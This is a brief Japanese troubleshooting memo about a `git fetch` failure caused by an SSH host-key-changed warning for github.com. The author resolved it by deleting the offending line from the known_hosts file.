- ローカルリポジトリでfetchを行おうとしたらエラーが発生してできなかった。解決までの流れをまとめる。

# 問題発生までの経緯

- push pullなどの経験のあるローカルリポジトリで下記コマンドを実行してfetchを行った。

    ```shell
    git fetch
    ```

# 問題

- 下記のエラーが発生してfetchができない。

    ```
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    @    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
    IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
    Someone could be eavesdropping on you right now (man-in-the-middle attack)!
    It is also possible that a host key has just been changed.
    The fingerprint for the RSA key sent by the remote host is
    SHA256:
    Please contact your system administrator.
    Add correct host key in /Users/FooVar/.ssh/known_hosts to get rid of this message.
    Offending RSA key in /Users/FooVar/.ssh/known_hosts:3
    Host key for github.com has changed and you have requested strict checking.
    Host key verification failed.
    fatal: Could not read from remote repository.
    
    Please make sure you have the correct access rights
    and the repository exists.
    ```

# 問題解決までの経緯

- 下記の様に`Users/FooVar/.ssh/known_hosts`の3行目に問題があるらしい。

    ```
    Offending RSA key in /Users/FooVar/.ssh/known_hosts:3
    ```

- ひとまず当該のファイルをエディタで開いて直接削除してみる。
- 確認のためにfetchを行った。
- 問題は解決した。